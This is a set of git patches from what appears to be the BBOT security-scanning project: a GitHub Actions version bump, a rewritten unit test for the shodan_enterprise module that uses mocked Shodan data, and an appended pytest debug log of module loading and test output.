17:09:01,825 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 17:09:01,826 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 17:09:01,826 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 17:09:01,826 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:53', '8.8.8.8:443'] +2026-03-01 17:09:01,827 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 17:09:01,827 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 17:09:01,827 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 17:09:01,827 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 17:09:01,828 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} From 0882df84a1d150f3cf3ca799e86c88e70e5c8df6 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 2 Mar 2026 04:45:29 +0000 Subject: [PATCH 259/912] Bump actions/upload-artifact from 6 to 7 in the github-actions group Bumps the github-actions group with 1 update: [actions/upload-artifact](https://github.com/actions/upload-artifact). Updates `actions/upload-artifact` from 6 to 7 - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](https://github.com/actions/upload-artifact/compare/v6...v7) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-version: '7' dependency-type: direct:production update-type: version-update:semver-major dependency-group: github-actions ... Signed-off-by: dependabot[bot] --- .github/workflows/benchmark.yml | 2 +- .github/workflows/distro_tests.yml | 2 +- .github/workflows/tests.yml | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/benchmark.yml b/.github/workflows/benchmark.yml index 5b486a8bb5..332c77806b 100644 --- a/.github/workflows/benchmark.yml +++ b/.github/workflows/benchmark.yml @@ -51,7 +51,7 @@ jobs: # Upload benchmark results as artifacts - name: Upload benchmark results - uses: actions/upload-artifact@v6 + uses: actions/upload-artifact@v7 with: name: benchmark-results path: | diff --git a/.github/workflows/distro_tests.yml b/.github/workflows/distro_tests.yml index 72b73dcacc..e76dbec1f1 100644 --- a/.github/workflows/distro_tests.yml +++ b/.github/workflows/distro_tests.yml @@ -66,7 +66,7 @@ jobs: poetry run pytest --reruns 2 --exitfirst -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO . - name: Upload Debug Logs if: always() - uses: actions/upload-artifact@v6 + uses: actions/upload-artifact@v7 with: name: pytest-debug-logs-${{ env.OS_NAME }} path: pytest_debug.log diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 40ccbb1ea1..92bdff2b2e 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -39,7 +39,7 @@ jobs: poetry run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs if: always() - uses: actions/upload-artifact@v6 + uses: actions/upload-artifact@v7 with: name: pytest-debug-logs-${{ env.PYTHON_VERSION }} path: pytest_debug.log From ca389fcfc0127274a06736e2ad24d1d6f3cd6dce Mon Sep 17 00:00:00 2001 From: xxix0 Date: Mon, 2 Mar 2026 09:16:34 +0200 Subject: [PATCH 260/912] shodan_enterprise module unit test fix --- .../test_module_shodan_enterprise.py | 151 +- pytest_debug.log | 4050 +++++++++++++++++ 2 files changed, 4124 insertions(+), 77 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py index 807e756d95..f59e39fcba 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -2,90 +2,87 @@ class TestShodan_Enterprise(ModuleTestBase): + # the module expects an IP address target and a valid API key targets = ["8.8.8.8"] config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}} - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="https://api.shodan.io/shodan/host/8.8.8.8?key=deadbeef&history=false&minify=false", - json={ - "asn": "AS15169", - "org": "Google LLC", - "isp": "Google LLC", - "country_code": "US", - "tags": ["cloud", "public-dns", "verified"], - "data": [ - { - "ip_str": "8.8.8.8", - "port": 53, - "transport": "tcp", - "product": "Google Public DNS", - "tags": ["dns", "nameserver"], - "cpe": ["cpe:/a:google:dns"], - "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"], - "http": { - "components": { - "OpenSSL": {"categories": ["web-crypto"]}, - "nginx": {"categories": ["web-servers"]}, - } - }, - "vulns": { - "CVE-2021-12345": {"cvss": 7.5}, - "CVE-2022-11111": {"cvss": 9.7}, - "CVE-2020-00001": {"cvss": 2.5}, - }, + async def setup_before_prep(self, module_test): + # the official shodan library uses `requests` under the hood, so + # our httpx_mock is ineffective. import the library and patch the + # Shodan.host method directly so we return predictable data. + import shodan # imported lazily to avoid breaking tests if missing + + fake_response = { + "asn": "AS15169", + "org": "Google LLC", + "isp": "Google LLC", + "country_code": "US", + "tags": ["cloud", "public-dns", "verified"], + "data": [ + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "tcp", + "product": "Google Public DNS", + "tags": ["dns", "nameserver"], + "cpe": ["cpe:/a:google:dns"], + "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"], + "http": { + "components": { + "OpenSSL": {"categories": ["web-crypto"]}, + "nginx": {"categories": ["web-servers"]}, + } }, - { - "ip_str": "8.8.8.8", - "port": 53, - "transport": "udp", - "product": "Google Public DNS", - "tags": ["dns"], - "cpe": [], - "cpe23": [], - "http": {}, - "vulns": {}, + "vulns": { + "CVE-2021-12345": {"cvss": 7.5}, + "CVE-2022-11111": {"cvss": 9.7}, + "CVE-2020-00001": {"cvss": 2.5}, }, - ], - }, - ) - - def check(self, events): - asn_events = [e for e in events if e.type == "ASN"] - self.log.critical(f"Found {len(asn_events)} ASN events") - - assert len(asn_events) >= 1, "No ASN event detected" - asn_data = asn_events[0].data - self.log.hugeinfo(f"ASN Data: {asn_data}") - - assert asn_data.get("asn") == "15169", f"ASN mismatch: {asn_data.get('asn')}" - assert asn_data.get("name") == "Google LLC", f"Org name mismatch: {asn_data.get('name')}" - assert asn_data.get("country") == "US", f"Country mismatch: {asn_data.get('country')}" - assert asn_data.get("description") == "Google LLC", f"ISP mismatch: {asn_data.get('description')}" - - tcp_events = [e for e in events if e.type == "OPEN_TCP_PORT"] - tcp_ports = [e.data for e in tcp_events] - self.log.critical(f"Found {len(tcp_events)} TCP PORT events: {tcp_ports}") + }, + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "udp", + "product": "Google Public DNS", + "tags": ["dns"], + "cpe": [], + "cpe23": [], + "http": {}, + "vulns": {}, + }, + ], + } - assert any("8.8.8.8:53" in str(port) for port in tcp_ports), "TCP port 53 not detected" - self.log.hugesuccess("Open TCP port 53 detected") + def fake_host(self, ips, history=False, minify=False): + assert ips == "8.8.8.8" + return fake_response - # # ========== OPEN_UDP_PORT EVENT VERIFICATION ========== - udp_events = [e for e in events if e.type == "OPEN_UDP_PORT"] - udp_ports = [e.data for e in udp_events] - self.log.critical(f"Found {len(udp_events)} UDP PORT events: {udp_ports}") - - assert any("8.8.8.8:53" in str(port) for port in udp_ports), "UDP port 53 not detected" - self.log.hugesuccess("Open UDP port 53 detected") + module_test.monkeypatch.setattr(shodan.Shodan, "host", fake_host) + def check(self, module_test, events): + asn_events = [e for e in events if e.type == "ASN"] + self.log.critical(f"Found {len(asn_events)} ASN events") + assert asn_events, "No ASN event detected" + asn = asn_events[0].data + assert asn.get("asn") == "15169" + assert asn.get("name") == "Google LLC" + assert asn.get("country") == "US" + assert asn.get("description") == "Google LLC" + tcp_ports = [e.data for e in events if e.type == "OPEN_TCP_PORT"] + udp_ports = [e.data for e in events if e.type == "OPEN_UDP_PORT"] + self.log.critical(f"TCP ports: {tcp_ports}, UDP ports: {udp_ports}") + assert any("8.8.8.8:53" in str(p) for p in tcp_ports), "TCP port 53 not detected" + assert any("8.8.8.8:53" in str(p) for p in udp_ports), "UDP port 53 not detected" vuln_events = [e for e in events if e.type == "VULNERABILITY"] - self.log.critical(f"Found {len(vuln_events)} VULNERABILITY events") - vuln_map = {e.data.get("description"): e.data.get("severity") for e in vuln_events} - self.log.hugewarning(f"Vulnerabilities: {vuln_map}") - - assert len(vuln_events) <= 0, "No VULNERABILITY events found" - - assert "CVE-2021-12345" in vuln_map, "CVE-2021-12345 not found" - assert vuln_map["CVE-2021-12345"] == "HIGH", f"CVE-2021-12345 severity incorrect: {vuln_map['CVE-2021-12345']}" - self.log.hugesuccess("CVSS 7.5 correctly mapped to HIGH") + self.log.hugewarning(f"Vulnerabilities observed: {vuln_map}") + assert "CVE-2021-12345" in vuln_map + assert vuln_map["CVE-2021-12345"] == "HIGH" + assert "CVE-2020-00001" in vuln_map + assert vuln_map["CVE-2020-00001"] == "LOW" + tech_events = [e for e in events if e.type == "TECHNOLOGY"] + tech_names = {e.data.get("technology") for e in tech_events} + assert "cpe:/a:google:dns" in tech_names + assert "Google Public DNS" in tech_names + assert "OpenSSL" in tech_names + assert "nginx" in tech_names diff --git a/pytest_debug.log b/pytest_debug.log index 368f0c2b1b..e7c50f077d 100644 --- a/pytest_debug.log +++ b/pytest_debug.log @@ -23630,3 +23630,4053 @@ 2026-03-01 17:09:01,827 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected 2026-03-01 17:09:01,827 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events 2026-03-01 17:09:01,828 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-02 08:52:52,808 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 08:52:52,814 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk +2026-03-02 08:52:52,818 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 08:52:52,819 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 08:52:52,819 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk +2026-03-02 08:52:52,821 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk +2026-03-02 08:52:52,822 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk +2026-03-02 08:52:52,825 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk +2026-03-02 08:52:52,826 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk +2026-03-02 08:52:52,828 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk +2026-03-02 08:52:52,829 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk +2026-03-02 08:52:52,830 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk +2026-03-02 08:52:52,832 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk +2026-03-02 08:52:52,833 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk +2026-03-02 08:52:52,834 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk +2026-03-02 08:52:52,837 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk +2026-03-02 08:52:52,839 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk +2026-03-02 08:52:52,840 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk +2026-03-02 08:52:52,841 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk +2026-03-02 08:52:52,843 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk +2026-03-02 08:52:52,844 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk +2026-03-02 08:52:52,845 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk +2026-03-02 08:52:52,847 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk +2026-03-02 08:52:52,848 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk +2026-03-02 08:52:52,850 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk +2026-03-02 08:52:52,851 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk +2026-03-02 08:52:52,852 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk +2026-03-02 08:52:52,853 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk +2026-03-02 08:52:52,856 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk +2026-03-02 08:52:52,857 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk +2026-03-02 08:52:52,858 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk +2026-03-02 08:52:52,859 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk +2026-03-02 08:52:52,860 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk +2026-03-02 08:52:52,862 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk +2026-03-02 08:52:52,863 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk +2026-03-02 08:52:52,865 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk +2026-03-02 08:52:52,866 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk +2026-03-02 08:52:52,868 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk +2026-03-02 08:52:52,869 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk +2026-03-02 08:52:52,870 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk +2026-03-02 08:52:52,873 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk +2026-03-02 08:52:52,877 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk +2026-03-02 08:52:52,879 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk +2026-03-02 08:52:52,881 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk +2026-03-02 08:52:52,882 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk +2026-03-02 08:52:52,883 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk +2026-03-02 08:52:52,887 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk +2026-03-02 08:52:52,888 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk +2026-03-02 08:52:52,889 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk +2026-03-02 08:52:52,890 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk +2026-03-02 08:52:52,892 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk +2026-03-02 08:52:52,896 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk +2026-03-02 08:52:52,898 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk +2026-03-02 08:52:52,900 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk +2026-03-02 08:52:52,901 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk +2026-03-02 08:52:52,903 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk +2026-03-02 08:52:52,905 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk +2026-03-02 08:52:52,907 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk +2026-03-02 08:52:52,908 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk +2026-03-02 08:52:52,909 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk +2026-03-02 08:52:52,910 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk +2026-03-02 08:52:52,911 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk +2026-03-02 08:52:52,912 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk +2026-03-02 08:52:52,913 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk +2026-03-02 08:52:52,914 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk +2026-03-02 08:52:52,917 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk +2026-03-02 08:52:52,919 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk +2026-03-02 08:52:52,920 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk +2026-03-02 08:52:52,924 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk +2026-03-02 08:52:52,925 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk +2026-03-02 08:52:52,928 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk +2026-03-02 08:52:52,929 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_amazon from disk +2026-03-02 08:52:52,930 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_digitalocean from disk +2026-03-02 08:52:52,931 [DEBUG] bbot.module_loader modules.py:154 Preloading skymem from disk +2026-03-02 08:52:52,932 [DEBUG] bbot.module_loader modules.py:154 Preloading hunterio from disk +2026-03-02 08:52:52,933 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_cookies from disk +2026-03-02 08:52:52,934 [DEBUG] bbot.module_loader modules.py:154 Preloading postman from disk +2026-03-02 08:52:52,935 [DEBUG] bbot.module_loader modules.py:154 Preloading code_repository from disk +2026-03-02 08:52:52,936 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_com from disk +2026-03-02 08:52:52,937 [DEBUG] bbot.module_loader modules.py:154 Preloading dnstlsrpt from disk +2026-03-02 08:52:52,938 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns from disk +2026-03-02 08:52:52,940 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomaincenter from disk +2026-03-02 08:52:52,941 [DEBUG] bbot.module_loader modules.py:154 Preloading wayback from disk +2026-03-02 08:52:52,942 [DEBUG] bbot.module_loader modules.py:154 Preloading ipstack from disk +2026-03-02 08:52:52,943 [DEBUG] bbot.module_loader modules.py:154 Preloading emailformat from disk +2026-03-02 08:52:52,944 [DEBUG] bbot.module_loader modules.py:154 Preloading fingerprintx from disk +2026-03-02 08:52:52,945 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscaa from disk +2026-03-02 08:52:52,947 [DEBUG] bbot.module_loader modules.py:154 Preloading bypass403 from disk +2026-03-02 08:52:52,948 [DEBUG] bbot.module_loader modules.py:154 Preloading leakix from disk +2026-03-02 08:52:52,949 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_getparams from disk +2026-03-02 08:52:52,950 [DEBUG] bbot.module_loader modules.py:154 Preloading reflected_parameters from disk +2026-03-02 08:52:52,952 [DEBUG] bbot.module_loader modules.py:154 Preloading crt_db from disk +2026-03-02 08:52:52,952 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_file_enum from disk +2026-03-02 08:52:52,953 [DEBUG] bbot.module_loader modules.py:154 Preloading portscan from disk +2026-03-02 08:52:52,957 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_direct from disk +2026-03-02 08:52:52,958 [DEBUG] bbot.module_loader modules.py:154 Preloading ajaxpro from disk +2026-03-02 08:52:52,959 [DEBUG] bbot.module_loader modules.py:154 Preloading telerik from disk +2026-03-02 08:52:52,962 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbimi from disk +2026-03-02 08:52:52,964 [DEBUG] bbot.module_loader modules.py:154 Preloading aspnet_bin_exposure from disk +2026-03-02 08:52:52,965 [DEBUG] bbot.module_loader modules.py:154 Preloading otx from disk +2026-03-02 08:52:52,966 [DEBUG] bbot.module_loader modules.py:154 Preloading github_codesearch from disk +2026-03-02 08:52:52,967 [DEBUG] bbot.module_loader modules.py:154 Preloading dehashed from disk +2026-03-02 08:52:52,968 [DEBUG] bbot.module_loader modules.py:154 Preloading gowitness from disk +2026-03-02 08:52:52,972 [DEBUG] bbot.module_loader modules.py:154 Preloading docker_pull from disk +2026-03-02 08:52:52,974 [DEBUG] bbot.module_loader modules.py:154 Preloading ipneighbor from disk +2026-03-02 08:52:52,975 [DEBUG] bbot.module_loader modules.py:154 Preloading bufferoverrun from disk +2026-03-02 08:52:52,976 [DEBUG] bbot.module_loader modules.py:154 Preloading gitlab_onprem from disk +2026-03-02 08:52:52,977 [DEBUG] bbot.module_loader modules.py:154 Preloading iis_shortnames from disk +2026-03-02 08:52:52,980 [DEBUG] bbot.module_loader modules.py:154 Preloading badsecrets from disk +2026-03-02 08:52:52,982 [DEBUG] bbot.module_loader modules.py:154 Preloading myssl from disk +2026-03-02 08:52:52,983 [DEBUG] bbot.module_loader modules.py:154 Preloading github_workflows from disk +2026-03-02 08:52:52,985 [DEBUG] bbot.module_loader modules.py:154 Preloading dotnetnuke from disk +2026-03-02 08:52:52,987 [DEBUG] bbot.module_loader modules.py:154 Preloading smuggler from disk +2026-03-02 08:52:52,988 [DEBUG] bbot.module_loader modules.py:154 Preloading robots from disk +2026-03-02 08:52:52,989 [DEBUG] bbot.module_loader modules.py:154 Preloading anubisdb from disk +2026-03-02 08:52:52,990 [DEBUG] bbot.module_loader modules.py:154 Preloading oauth from disk +2026-03-02 08:52:52,992 [DEBUG] bbot.module_loader modules.py:154 Preloading github_org from disk +2026-03-02 08:52:52,994 [DEBUG] bbot.module_loader modules.py:154 Preloading portfilter from disk +2026-03-02 08:52:52,995 [DEBUG] bbot.module_loader modules.py:154 Preloading sitedossier from disk +2026-03-02 08:52:52,996 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 08:52:52,997 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 08:52:52,998 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 08:52:52,998 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 08:52:52,999 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 08:52:53,000 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 08:52:53,001 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 08:52:53,001 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 08:52:53,005 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 08:52:53,005 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 08:52:53,006 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 08:52:53,007 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 08:52:53,008 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 08:52:53,008 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 08:52:53,009 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 08:52:53,010 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 08:52:53,010 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 08:52:53,011 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 08:52:53,011 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk +2026-03-02 08:52:53,013 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 08:52:53,013 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk +2026-03-02 08:52:53,015 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk +2026-03-02 08:52:53,016 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk +2026-03-02 08:52:53,017 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk +2026-03-02 08:52:53,018 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk +2026-03-02 08:52:53,019 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk +2026-03-02 08:52:53,021 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk +2026-03-02 08:52:53,024 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk +2026-03-02 08:52:53,025 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk +2026-03-02 08:52:53,026 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk +2026-03-02 08:52:53,028 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk +2026-03-02 08:52:53,029 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk +2026-03-02 08:52:53,030 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk +2026-03-02 08:52:53,031 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk +2026-03-02 08:52:53,032 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk +2026-03-02 08:52:53,033 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk +2026-03-02 08:52:53,035 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk +2026-03-02 08:52:53,036 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk +2026-03-02 08:52:53,037 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk +2026-03-02 08:52:53,039 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk +2026-03-02 08:52:53,040 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk +2026-03-02 08:52:53,042 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 08:52:53,042 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk +2026-03-02 08:52:53,043 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk +2026-03-02 08:52:53,044 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk +2026-03-02 08:52:53,054 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk +2026-03-02 08:52:53,056 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk +2026-03-02 08:52:53,057 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk +2026-03-02 08:52:53,060 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 08:52:53,061 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk +2026-03-02 08:52:53,063 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk +2026-03-02 08:52:54,123 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 08:52:54,124 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 08:52:54,124 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 08:52:54,229 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 08:52:54,648 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 08:52:54,649 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 08:52:54,793 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 08:52:54,795 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 08:52:54,904 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 08:52:54,905 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 08:52:54,932 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 08:52:54,937 [INFO] bbot.core.helpers.depsinstaller installer.py:470 